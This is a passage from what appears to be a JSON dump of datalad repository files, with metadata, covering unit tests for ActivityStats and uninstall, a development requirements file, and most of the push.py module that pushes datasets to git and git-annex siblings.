get_paths_by_ds(\\n ds, ds, [\\n ds.pathobj / 'subds_modified' / 'subdir',\\n op.join('subdir', 'git_file.txt'),\\n op.join('subds_modified', 'subdir', 'annexed_file.txt'),\\n ])\\n eq_(\\n list(paths_by_ds.keys()),\\n [ds.pathobj, subds_modified.pathobj]\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.5980921983718872,\n \"alphanum_fraction\": 0.6270270347595215,\n \"avg_line_length\": 31.09183692932129,\n \"blob_id\": \"88bdbf39b1f035180373c2bf85eb703fedef901e\",\n \"content_id\": \"2715ec14700bf69328abb7b08a5beba3790b4b8b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3145,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 98,\n \"path\": \"/datalad/support/tests/test_stats.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nfrom ...tests.utils_pytest import (\\n assert_equal,\\n assert_in,\\n assert_not_equal,\\n assert_raises,\\n)\\nfrom ..stats import (\\n _COUNTS,\\n ActivityStats,\\n)\\n\\n\\ndef test_ActivityStats_basic():\\n stats = ActivityStats()\\n assert_raises(AttributeError, setattr, stats, \\\"unknown_attribute\\\", 1)\\n\\n for c in _COUNTS:\\n assert_equal(getattr(stats, c), 0)\\n\\n stats.files += 1\\n assert_equal(stats.files, 1)\\n stats.increment('files')\\n assert_equal(stats.files, 2)\\n\\n assert_equal(stats.as_dict()['files'], 2)\\n # smoke tests\\n assert_equal(stats.as_str(), stats.as_str(mode='full'))\\n assert_equal(len(stats.as_str(mode='line').split('\\\\n')), 1)\\n\\n assert_in('files=2', repr(stats))\\n stats.reset()\\n for c in _COUNTS:\\n assert_equal(getattr(stats, c), 0)\\n\\n # Check a copy of stats\\n stats_total = stats.get_total()\\n assert_equal(stats_total.files, 2)\\n stats.files += 1\\n assert_equal(stats.files, 1)\\n assert_equal(stats_total.files, 2) # shouldn't change -- a copy!\\n\\n # Let's add some merges\\n stats.merges.append(('upstream', 'master'))\\n stats_total = stats.get_total()\\n assert_equal(stats_total.merges, stats.merges)\\n\\n assert_equal(stats.as_str(), \\\"\\\"\\\"Files processed: 1\\nBranches merged: upstream->master\\\"\\\"\\\")\\n assert_equal(stats.as_str(mode='line'), \\\"Files processed: 1, Branches merged: upstream->master\\\")\\n\\n stats.urls += 2\\n stats.downloaded += 1\\n stats.downloaded_size += 123456789 # will invoke formatter\\n assert_in(\\\"size: 123.5 MB\\\", stats.as_str())\\n\\ndef test_ActivityStats_comparisons():\\n stats1 = ActivityStats()\\n stats2 = ActivityStats()\\n assert_equal(stats1, stats2)\\n stats1.files += 1\\n assert_not_equal(stats1, stats2)\\n\\n # if we reset -- should get back the same although totals should be different\\n stats1.reset()\\n assert_equal(stats1.as_str(), stats2.as_str())\\n assert_equal(stats1, stats2)\\n assert_not_equal(stats1.get_total(), stats2.get_total())\\n #stats1.reset(full=True)\\n #assert_equal(stats1, stats2)\\n\\ndef test_add():\\n stats1 = ActivityStats()\\n stats2 = ActivityStats()\\n stats1.files += 1\\n stats2.files += 1\\n stats2.urls += 1\\n assert_equal(stats1, ActivityStats(files=1))\\n assert_equal(stats2, ActivityStats(files=1, urls=1))\\n\\n stats1 += stats2\\n assert_equal(stats1, ActivityStats(files=2, urls=1))\\n assert_equal(stats1.get_total(), ActivityStats(files=2, urls=1))\\n\\n stats3 = stats1 + stats2\\n # no changes to stats1 or stats2\\n assert_equal(stats1, ActivityStats(files=2, urls=1))\\n assert_equal(stats1.get_total(), ActivityStats(files=2, urls=1))\\n assert_equal(stats2, ActivityStats(files=1, urls=1))\\n assert_equal(stats3.get_total(), ActivityStats(files=3, urls=2))\\n\"\n },\n {\n \"alpha_fraction\": 0.7488788962364197,\n \"alphanum_fraction\": 0.7488788962364197,\n \"avg_line_length\": 54.75,\n \"blob_id\": \"c2270506a53bee9b47fb50455ee4dca9da315d9a\",\n \"content_id\": \"1fb3115d7130ecd55cecb9afcad34cbabc2a5809\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 223,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 4,\n \"path\": \"/requirements-devel.txt\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Theoretically we don't want -e here but ATM pip would puke if just .[full] is provided\\n# Since we use requirements.txt ATM only for development IMHO it is ok but\\n# we need to figure out/complaint to pip folks\\n-e .[devel]\\n\"\n },\n {\n \"alpha_fraction\": 0.5580029487609863,\n \"alphanum_fraction\": 0.5624082088470459,\n \"avg_line_length\": 26.239999771118164,\n \"blob_id\": \"f7ccc300e97bbba3a68caaeed3349914d08f7439\",\n \"content_id\": \"193fbc456827cbee82a5ca29ce6835defc92187e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 681,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 25,\n \"path\": \"/datalad/distribution/tests/test_uninstall.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test uninstall action\\n\\n\\\"\\\"\\\"\\n\\nimport pytest\\n\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.tests.utils_pytest import (\\n assert_raises,\\n with_tempfile,\\n)\\n\\n\\n@pytest.mark.filterwarnings(\\\"ignore: The `uninstall` command is deprecated\\\")\\n@with_tempfile()\\ndef test_uninstall_uninstalled(path=None):\\n ds = Dataset(path)\\n assert_raises(ValueError, ds.uninstall)\\n\"\n },\n {\n \"alpha_fraction\": 0.565045177936554,\n \"alphanum_fraction\": 0.5674326419830322,\n \"avg_line_length\": 38.211700439453125,\n \"blob_id\": \"e1667e18bf6ad62e3b3d265dc9c3d84f96e1792b\",\n \"content_id\": \"e352987cb125304e3854c03e2a990648ce67ba85\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 36859,\n \"license_type\": \"permissive\",\n \"max_line_length\": 99,\n \"num_lines\": 940,\n \"path\": \"/datalad/core/distributed/push.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Interface for dataset (component) pushing\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nfrom itertools import chain\\nimport logging\\nimport re\\n\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n jobs_opt,\\n recursion_limit,\\n recursion_flag,\\n)\\nfrom datalad.interface.utils import render_action_summary\\nfrom datalad.interface.results import annexjson2result\\nfrom datalad.log import log_progress\\nfrom datalad.support.annexrepo import (\\n AnnexRepo,\\n)\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.support.param import Parameter\\nfrom datalad.support.constraints import (\\n EnsureStr,\\n EnsureNone,\\n EnsureChoice,\\n)\\nfrom datalad.support.exceptions import CommandError\\nfrom datalad.utils import (\\n Path,\\n ensure_list,\\n todo_interface_for_extensions,\\n)\\n\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n resolve_path,\\n)\\nfrom datalad.core.local.diff import diff_dataset\\n\\n\\nlgr = logging.getLogger('datalad.core.distributed.push')\\n\\n\\n@build_doc\\nclass Push(Interface):\\n \\\"\\\"\\\"Push a dataset to a known :term:`sibling`.\\n\\n This makes a saved state of a dataset available to a sibling or special\\n remote data store of a dataset. Any target sibling must already exist and\\n be known to the dataset.\\n\\n || REFLOW >>\\n By default, all files tracked in the last saved state (of the current\\n branch) will be copied to the target location. Optionally, it is possible\\n to limit a push to changes relative to a particular point in the version\\n history of a dataset (e.g. a release tag) using the\\n [CMD: --since CMD][PY: since PY] option in conjunction with the\\n specification of a reference dataset. In recursive mode subdatasets will also be\\n evaluated, and only those subdatasets are pushed where a change was\\n recorded that is reflected in the current state of the top-level reference\\n dataset.\\n << REFLOW ||\\n\\n .. note::\\n Power-user info: This command uses :command:`git push`, and :command:`git\\n annex copy` to push a dataset. Publication targets are either configured\\n remote Git repositories, or git-annex special remotes (if they support\\n data upload).\\n \\\"\\\"\\\"\\n\\n # TODO add examples\\n\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"specify the dataset to push\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n to=Parameter(\\n args=(\\\"--to\\\",),\\n metavar='SIBLING',\\n doc=\\\"\\\"\\\"name of the target sibling. If no name is given an attempt is\\n made to identify the target based on the dataset's configuration\\n (i.e. a configured tracking branch, or a single sibling that is\\n configured for push)\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n since=Parameter(\\n args=(\\\"--since\\\",),\\n constraints=EnsureStr() | EnsureNone(),\\n doc=\\\"\\\"\\\"specifies commit-ish (tag, shasum, etc.) from which to look for\\n changes to decide whether pushing is necessary.\\n If '^' is given, the last state of the current branch at the sibling\\n is taken as a starting point.\\\"\\\"\\\"),\\n path=Parameter(\\n args=(\\\"path\\\",),\\n metavar='PATH',\\n doc=\\\"\\\"\\\"path to constrain a push to. If given, only\\n data or changes for those paths are considered for a push.\\\"\\\"\\\",\\n nargs='*',\\n constraints=EnsureStr() | EnsureNone()),\\n data=Parameter(\\n args=(\\\"--data\\\",),\\n doc=\\\"\\\"\\\"what to do with (annex'ed) data. 'anything' would cause\\n transfer of all annexed content, 'nothing' would avoid call to\\n `git annex copy` altogether. 'auto' would use 'git annex copy' with\\n '--auto' thus transferring only data which would satisfy \\\"wanted\\\"\\n or \\\"numcopies\\\" settings for the remote (thus \\\"nothing\\\" otherwise).\\n 'auto-if-wanted' would enable '--auto' mode only if there is a \\n \\\"wanted\\\" setting for the remote, and transfer 'anything' otherwise.\\n \\\"\\\"\\\",\\n constraints=EnsureChoice(\\n 'anything', 'nothing', 'auto', 'auto-if-wanted')),\\n force=Parameter(\\n # multi-mode option https://github.com/datalad/datalad/issues/3414\\n args=(\\\"-f\\\", \\\"--force\\\",),\\n doc=\\\"\\\"\\\"force particular operations, possibly overruling safety\\n protections or optimizations: use --force with git-push ('gitpush');\\n do not use --fast with git-annex copy ('checkdatapresent');\\n combine all force modes ('all').\\\"\\\"\\\",\\n constraints=EnsureChoice(\\n 'all', 'gitpush', 'checkdatapresent', None)),\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit,\\n jobs=jobs_opt,\\n )\\n\\n # Desired features:\\n # - let Git do it's thing (push multiple configured refs without the need\\n # to specific anything on the command line\\n # - compilication: we need publication dependencies (i.e. publish what\\n # would be published by Git to a different remote first, hence we\\n # cannot simply watch Git do it, and later act on it.)\\n # - https://github.com/datalad/datalad/issues/1284\\n # - https://github.com/datalad/datalad/issues/4006\\n # - make differences between remotes and various types of special remotes\\n # opaque\\n # - https://github.com/datalad/datalad/issues/3127\\n # - informative and comprehensive (error) reporting\\n # - https://github.com/datalad/datalad/issues/2000\\n # - https://github.com/datalad/datalad/issues/1682\\n # - https://github.com/datalad/datalad/issues/2029\\n # - https://github.com/datalad/datalad/issues/2855\\n # - https://github.com/datalad/datalad/issues/3412\\n # - https://github.com/datalad/datalad/issues/3424\\n # - ensure robust behavior in multi-lateral push scenarios (updating\\n # a dataset that was updated by a 3rd-party after the last known\\n # fetched change\\n # - https://github.com/datalad/datalad/issues/2636\\n # - should NOT mimic `publish` and that it mixes `create-sibling` and\\n # `push` into a single operation. This would fold the complexity\\n # of all possible ways a local dataset hierarchy could possibly\\n # connected to remote ends into this command. It would be lost battle\\n # from the start.\\n # - not tackle: https://github.com/datalad/datalad/issues/2186\\n # - maintain standard setup, and not reflect procedural aspects\\n # onto the resulting outcomes\\n # - https://github.com/datalad/datalad/issues/2001\\n # - do a straight push, nothing like 'sync'. If a remote has something that\\n # needs merging first, fail and let users update. Any diff we are missing\\n # locally can impact decision making via --since and friends.\\n\\n @staticmethod\\n @datasetmethod(name='push')\\n @eval_results\\n def __call__(\\n path=None,\\n *,\\n dataset=None,\\n to=None,\\n since=None,\\n data='auto-if-wanted',\\n force=None,\\n recursive=False,\\n recursion_limit=None,\\n jobs=None):\\n # push uses '^' to annotate the previous pushed committish, and None for default\\n # behavior. '' was/is (to be deprecated) used in `publish`. Alert user about the mistake\\n if since == '':\\n raise ValueError(\\\"'since' should point to commitish or use '^'.\\\")\\n # we resolve here, because we need to perform inspection on what was given\\n # as an input argument further down\\n paths = [resolve_path(p, dataset) for p in ensure_list(path)]\\n\\n ds = require_dataset(\\n dataset, check_installed=True, purpose='push')\\n ds_repo = ds.repo\\n\\n res_kwargs = dict(\\n action='publish',\\n refds=ds.path,\\n logger=lgr,\\n )\\n\\n get_remote_kwargs = {'exclude_special_remotes': False} \\\\\\n if isinstance(ds_repo, AnnexRepo) else {}\\n if to and to not in ds_repo.get_remotes(**get_remote_kwargs):\\n # get again for proper error:\\n sr = ds_repo.get_remotes(**get_remote_kwargs)\\n # yield an error result instead of raising a ValueError,\\n # to enable the use case of pushing to a target that\\n # a superdataset doesn't know, but some subdatasets to\\n # (in combination with '--on-failure ignore')\\n yield dict(\\n res_kwargs,\\n status='error',\\n path=ds.path,\\n message=\\\"Unknown push target '{}'. {}\\\".format(\\n to,\\n 'Known targets: {}.'.format(', '.join(repr(s) for s in sr))\\n if sr\\n else 'No targets configured in dataset.'))\\n return\\n if since == '^':\\n # figure out state of remote branch and set `since`\\n since = _get_corresponding_remote_state(ds_repo, to)\\n if not since:\\n lgr.info(\\n \\\"No tracked remote for active branch, \\\"\\n \\\"detection of last pushed state not in effect.\\\")\\n elif since:\\n # will blow with ValueError if unusable\\n ds_repo.get_hexsha(since)\\n\\n\\n # obtain a generator for information on the datasets to process\\n # idea is to turn the `paths` argument into per-dataset\\n # content listings that can be acted upon\\n ds_spec = _datasets_since_(\\n # important to pass unchanged dataset arg\\n dataset,\\n since,\\n paths,\\n recursive,\\n recursion_limit)\\n\\n # instead of a loop, this could all be done in parallel\\n matched_anything = False\\n for dspath, dsrecords in ds_spec:\\n matched_anything = True\\n lgr.debug('Pushing Dataset at %s', dspath)\\n pbars = {}\\n yield from _push(\\n dspath, dsrecords, to, data, force, jobs, res_kwargs.copy(), pbars,\\n got_path_arg=True if path else False)\\n # take down progress bars for this dataset\\n for i, ds in pbars.items():\\n log_progress(lgr.info, i, 'Finished push of %s', ds)\\n if not matched_anything:\\n potential_remote = False\\n if not to and len(paths) == 1:\\n # if we get a remote name without --to, provide a hint\\n sr = ds_repo.get_remotes(**get_remote_kwargs)\\n potential_remote = [\\n p for p in ensure_list(path) if p in sr\\n ]\\n if potential_remote:\\n if len(potential_remote) == 1:\\n # present as a single value to make hint even more human\\n # friendly\\n potential_remote = potential_remote[0]\\n hint = \\\"{} matches a sibling name and not a path. \\\" \\\\\\n \\\"Forgot --to?\\\".format(potential_remote)\\n yield dict(\\n res_kwargs,\\n status='notneeded',\\n message=hint,\\n hints=hint,\\n type='dataset',\\n path=ds.path,\\n )\\n # there's no matching path and we have generated a hint on\\n # fixing the call - we can return now\\n return\\n yield dict(\\n res_kwargs,\\n status='notneeded',\\n message='Given constraints did not match any changes to publish',\\n type='dataset',\\n path=ds.path,\\n )\\n\\n custom_result_summary_renderer_pass_summary = True\\n\\n @staticmethod\\n def custom_result_summary_renderer(results, action_summary): # pragma: more cover\\n render_action_summary(action_summary)\\n # report on any hints at the end\\n # get all unique hints\\n hints = set([r.get('hints', None) for r in results])\\n hints = [hint for hint in hints if hint is not None]\\n if hints:\\n from datalad.ui import ui\\n from datalad.support import ansi_colors\\n intro = ansi_colors.color_word(\\n \\\"Hints: \\\",\\n ansi_colors.YELLOW)\\n ui.message(intro)\\n [ui.message(\\\"{}: {}\\\".format(\\n ansi_colors.color_word(id + 1, ansi_colors.YELLOW), hint))\\n for id, hint in enumerate(hints)]\\n\\n\\n\\ndef _datasets_since_(dataset, since, paths, recursive, recursion_limit):\\n \\\"\\\"\\\"Generator\\\"\\\"\\\"\\n # rely on diff() reporting sequentially across datasets\\n cur_ds = None\\n ds_res = None\\n for res in diff_dataset(\\n dataset=dataset,\\n fr=since,\\n # we never touch unsaved content\\n to='HEAD',\\n constant_refs=False,\\n path=paths,\\n # we need to know what is around locally to be able\\n # to report something that should have been pushed\\n # but could not, because we don't have a copy.\\n # however, getting this info here is needlessly\\n # expensive, we will do it at the latest possible stage\\n # in _push_data()\\n annex=None,\\n recursive=recursive,\\n recursion_limit=recursion_limit,\\n # TODO?: expose order as an option for diff and push\\n # since in some cases breadth-first would be sufficient\\n # and result in \\\"taking action faster\\\"\\n reporting_order='bottom-up'\\n ):\\n if res.get('action', None) != 'diff':\\n # we don't care right now\\n continue\\n if res.get('status', None) != 'ok':\\n # we cannot handle this situation, report it in panic\\n raise RuntimeError(\\n 'Cannot handle non-OK diff result: {}'.format(res))\\n parentds = res.get('parentds', None)\\n if not parentds:\\n raise RuntimeError(\\n 'Cannot handle diff result without a parent dataset '\\n 'property: {}'.format(res))\\n if res.get('type', None) == 'dataset':\\n # a subdataset record in another dataset\\n # this could be here, because\\n # - this dataset was explicitly requested by path\\n # -> should get a dedicated dataset record -- even without recursion\\n # - a path within an existing subdataset was given\\n # - a path within an non-existing subdataset was given\\n # locally or not)\\n # -> it should be ignored, but should not cause the branch in the\\n # superdataset not to be pushed, if this was the only change\\n p = Path(res['path'])\\n # was given as an explicit path argument\\n if any(arg == p for arg in paths) and \\\\\\n not GitRepo.is_valid_repo(res['path']):\\n raise ValueError(\\n 'Cannot publish subdataset, not present: {}'.format(res['path']))\\n\\n if parentds != cur_ds:\\n if ds_res:\\n # we switch to another dataset, yield this one so outside\\n # code can start processing immediately\\n yield (cur_ds, ds_res)\\n # clean start\\n ds_res = []\\n cur_ds = parentds\\n ds_res.append({\\n k: v for k, v in res.items()\\n if k in (\\n # let's keep 'state' in for now, it would make it possible\\n # to implement a \\\"sync\\\"-type push downstream that actually\\n # pulls 'deleted' files\\n 'state',\\n # 'file' to copy-to, and subdataset records to possibly\\n # act on\\n 'type',\\n # essential\\n 'path')\\n })\\n\\n # if we have something left to report, do it\\n # importantly do not test for ds_res, even if we had only seen subdataset\\n # records to be changes, we would still want to push the git branches\\n if cur_ds:\\n yield (cur_ds, ds_res)\\n\\n\\n@todo_interface_for_extensions\\ndef _transfer_data(repo, ds, target, content, data, force, jobs, res_kwargs,\\n got_path_arg):\\n yield from _push_data(\\n ds,\\n target,\\n content,\\n data,\\n force,\\n jobs,\\n res_kwargs.copy(),\\n got_path_arg=got_path_arg,\\n )\\n\\n\\ndef _push(dspath, content, target, data, force, jobs, res_kwargs, pbars,\\n got_path_arg=False):\\n force_git_push = force in ('all', 'gitpush')\\n\\n # nothing recursive in here, we only need a repo to work with\\n ds = Dataset(dspath)\\n repo = ds.repo\\n\\n res_kwargs.update(type='dataset', path=dspath)\\n\\n # content will be unique for every push (even on the same dataset)\\n pbar_id = 'push-{}-{}'.format(target, id(content))\\n # register for final orderly take down\\n pbars[pbar_id] = ds\\n log_progress(\\n lgr.info, pbar_id,\\n 'Determine push target',\\n unit=' Steps',\\n label='Push',\\n total=4,\\n )\\n # pristine input arg\\n _target = target\\n # verified or auto-detected\\n target = None\\n if not _target:\\n try:\\n try:\\n # let Git figure out what needs doing\\n # we will reuse the result further down again, so nothing is wasted\\n wannabe_gitpush = repo.push(remote=None, git_options=['--dry-run'])\\n # we did not get an explicit push target, get it from Git\\n target = set(p.get('remote', None) for p in wannabe_gitpush)\\n # handle case where a pushinfo record did not have a 'remote'\\n # property -- should not happen, but be robust\\n target.discard(None)\\n except CommandError as e:\\n if 'Please make sure you have the correct access rights' in e.stderr:\\n # there is a default push target but we have no permission\\n yield dict(\\n res_kwargs,\\n status='impossible',\\n message='Attempt to push to default target resulted in following '\\n 'error. Address the error or specify different target with --to: '\\n + e.stderr,\\n )\\n return\\n raise\\n except Exception as e:\\n lgr.debug(\\n 'Dry-run push to determine default push target failed, '\\n 'assume no configuration: %s', e)\\n target = set()\\n if not len(target):\\n yield dict(\\n res_kwargs,\\n status='impossible',\\n message='No push target given, and none could be '\\n 'auto-detected, please specify via --to',\\n )\\n return\\n elif len(target) > 1:\\n # dunno if this can ever happen, but if it does, report\\n # nicely\\n yield dict(\\n res_kwargs,\\n status='error',\\n message=(\\n 'No push target given, '\\n 'multiple candidates auto-detected: %s',\\n list(target),\\n )\\n )\\n return\\n else:\\n # can only be a single one at this point\\n target = target.pop()\\n\\n if not target:\\n if _target not in repo.get_remotes():\\n yield dict(\\n res_kwargs,\\n status='error',\\n message=(\\n \\\"Unknown target sibling '%s'.\\\", _target))\\n return\\n target = _target\\n\\n log_progress(\\n lgr.info, pbar_id, \\\"Push refspecs\\\",\\n label=\\\"Push to '{}'\\\".format(target), update=1, total=4)\\n\\n # define config var name for potential publication dependencies\\n depvar = 'remote.{}.datalad-publish-depends'.format(target)\\n # list of remotes that are publication dependencies for the\\n # target remote\\n publish_depends = ensure_list(ds.config.get(depvar, [], get_all=True))\\n if publish_depends:\\n lgr.debug(\\\"Discovered publication dependencies for '%s': %s'\\\",\\n target, publish_depends)\\n\\n # cache repo type\\n is_annex_repo = isinstance(ds.repo, AnnexRepo)\\n\\n # TODO prevent this when `target` is a special remote\\n # (possibly redo) a push attempt to figure out what needs pushing\\n # do this on the main target only, and apply the result to all\\n # dependencies\\n try:\\n if _target:\\n # only do it when an explicit target was given, otherwise\\n # we can reuse the result from the auto-probing above\\n wannabe_gitpush = repo.push(\\n remote=target,\\n git_options=['--dry-run'])\\n except Exception as e:\\n lgr.debug(\\n 'Dry-run push to check push configuration failed, '\\n 'assume no configuration: %s', e)\\n wannabe_gitpush = []\\n refspecs2push = [\\n # if an upstream branch is set, go with it\\n p['from_ref']\\n if ds.config.get(\\n # refs come in as refs/heads/<branchname>\\n # need to cut the prefix\\n 'branch.{}.remote'.format(p['from_ref'][11:]),\\n None) == target and ds.config.get(\\n 'branch.{}.merge'.format(p['from_ref'][11:]),\\n None)\\n # if not, define target refspec explicitly to avoid having to\\n # set an upstream branch, which would happen implicitly from\\n # a users POV, and may also be hard to decide when publication\\n # dependencies are present\\n else '{}:{}'.format(p['from_ref'], p['to_ref'])\\n for p in wannabe_gitpush\\n # TODO: what if a publication dependency doesn't have it yet\\n # should we not attempt to push, because the main target has it?\\n if 'uptodate' not in p['operations'] and (\\n # cannot think of a scenario where we would want to push a\\n # managed branch directly, instead of the corresponding branch\\n 'refs/heads/adjusted' not in p['from_ref'])\\n ]\\n # TODO this is not right with managed branches\\n active_branch = repo.get_active_branch()\\n if active_branch and is_annex_repo:\\n # we could face a managed branch, in which case we need to\\n # determine the actual one and make sure it is sync'ed with the\\n # managed one, and push that one instead. following methods can\\n # be called unconditionally\\n repo.localsync(managed_only=True)\\n active_branch = repo.get_corresponding_branch(\\n active_branch) or active_branch\\n\\n if not refspecs2push and not active_branch:\\n # nothing was set up for push, and we have no active branch\\n # this is a weird one, let's confess and stop here\\n # I don't think we need to support such a scenario\\n if not active_branch:\\n yield dict(\\n res_kwargs,\\n status='impossible',\\n message=\\n 'There is no active branch, cannot determine remote '\\n 'branch'\\n )\\n return\\n\\n # make sure that we always push the active branch (the context for the\\n # potential path arguments) and the annex branch -- because we claim\\n # to know better than any git config\\n must_have_branches = [active_branch] if active_branch else []\\n if is_annex_repo:\\n must_have_branches.append('git-annex')\\n for branch in must_have_branches:\\n _append_branch_to_refspec_if_needed(ds, refspecs2push, branch)\\n\\n # we know what to push and where, now dependency processing first\\n for r in publish_depends:\\n # simply make a call to this function again, all the same, but\\n # target is different\\n yield from _push(\\n dspath,\\n content,\\n # to this particular dependency\\n r,\\n data,\\n force,\\n jobs,\\n res_kwargs.copy(),\\n pbars,\\n got_path_arg=got_path_arg,\\n )\\n\\n # and lastly the primary push target\\n target_is_git_remote = repo.config.get(\\n 'remote.{}.url'.format(target), None) is not None\\n\\n # git-annex data copy\\n #\\n if is_annex_repo:\\n if data != \\\"nothing\\\":\\n log_progress(\\n lgr.info, pbar_id, \\\"Transfer data\\\",\\n label=\\\"Transfer data to '{}'\\\".format(target), update=2, total=4)\\n yield from _transfer_data(\\n repo,\\n ds,\\n target,\\n content,\\n data,\\n force,\\n jobs,\\n res_kwargs.copy(),\\n got_path_arg=got_path_arg,\\n )\\n else:\\n lgr.debug(\\\"Data transfer to '%s' disabled by argument\\\", target)\\n else:\\n lgr.debug(\\\"No data transfer: %s is not a git annex repository\\\", repo)\\n\\n if not target_is_git_remote:\\n # there is nothing that we need to push or sync with on the git-side\\n # of things with this remote\\n return\\n\\n log_progress(\\n lgr.info, pbar_id, \\\"Update availability information\\\",\\n label=\\\"Update availability for '{}'\\\".format(target), update=3, total=4)\\n\\n # TODO fetch is only needed if anything was actually transferred. Collect this\\n # info and make the following conditional on it\\n\\n # after file transfer the remote might have different commits to\\n # the annex branch. They have to be merged locally, otherwise a\\n # push of it further down will fail\\n try:\\n # fetch remote, let annex sync them locally, so that the push\\n # later on works.\\n # We have to fetch via the push url (if there is any),\\n # not a pull url.\\n # The latter might be dumb and without the execution of a\\n # post-update hook we might not be able to retrieve the\\n # server-side git-annex branch updates (and git-annex does\\n # not trigger the hook on copy), but we know we have\\n # full access via the push url -- we have just used it to copy.\\n lgr.debug(\\\"Fetching 'git-annex' branch updates from '%s'\\\", target)\\n fetch_cmd = ['fetch', target, 'git-annex']\\n pushurl = repo.config.get(\\n 'remote.{}.pushurl'.format(target), None)\\n if pushurl:\\n # for some reason overwriting remote.{target}.url\\n # does not have any effect...\\n fetch_cmd = [\\n '-c',\\n 'url.{}.insteadof={}'.format(\\n pushurl,\\n repo.config.get(\\n 'remote.{}.url'.format(target), None)\\n )\\n ] + fetch_cmd\\n lgr.debug(\\n \\\"Sync local annex branch from pushurl after remote \\\"\\n 'availability update.')\\n repo.call_git(fetch_cmd)\\n # If no CommandError was raised, it means that remote has git-annex\\n # but local repo might not be an annex yet. Since there is nothing to \\\"sync\\\"\\n # from us, we just skip localsync without mutating repo into an AnnexRepo\\n if is_annex_repo:\\n repo.localsync(target)\\n except CommandError as e:\\n # it is OK if the remote doesn't have a git-annex branch yet\\n # (e.g. fresh repo)\\n # TODO is this possible? we just copied? Maybe check if anything\\n # was actually copied?\\n if \\\"fatal: couldn't find remote ref git-annex\\\" not in e.stderr.lower():\\n raise\\n lgr.debug('Remote does not have a git-annex branch: %s', e)\\n\\n if not refspecs2push:\\n lgr.debug('No refspecs found that need to be pushed')\\n return\\n\\n # and push all relevant branches, plus the git-annex branch to announce\\n # local availability info too\\n yield from _push_refspecs(\\n repo,\\n target,\\n refspecs2push,\\n force_git_push,\\n res_kwargs.copy(),\\n )\\n\\n\\ndef _append_branch_to_refspec_if_needed(ds, refspecs, branch):\\n # try to anticipate any flavor of an idea of a branch ending up in a refspec\\n looks_like_that_branch = re.compile(\\n r'((^|.*:)refs/heads/|.*:|^){}$'.format(branch))\\n if all(not looks_like_that_branch.match(r) for r in refspecs):\\n refspecs.append(\\n branch\\n if ds.config.get('branch.{}.merge'.format(branch), None)\\n else '{branch}:{branch}'.format(branch=branch)\\n )\\n\\n\\ndef _push_refspecs(repo, target, refspecs, force_git_push, res_kwargs):\\n push_res = repo.push(\\n remote=target,\\n refspec=refspecs,\\n git_options=['--force'] if force_git_push else None,\\n )\\n # TODO maybe compress into a single message whenever everything is\\n # OK?\\n for pr in push_res:\\n ops = pr['operations']\\n status = (\\n 'error'\\n if any(o in ops for o in (\\n 'error', 'no-match', 'rejected', 'remote-rejected',\\n 'remote-failure'))\\n else 'notneeded'\\n if 'uptodate' in pr['operations']\\n else 'ok'\\n if any(o in ops for o in (\\n 'new-tag', 'new-branch', 'forced-update', 'fast-forward'))\\n # no really a good fit, but we have tested all relevant\\n # operations above, so in some sense this condition should be\\n # impossible to achieve\\n else 'impossible'\\n )\\n refspec = '{}:{}'.format(pr['from_ref'], pr['to_ref'])\\n yield dict(\\n res_kwargs,\\n status=status,\\n target=pr['remote'],\\n refspec=refspec,\\n operations=ops,\\n hints=pr.get('hints', None),\\n # 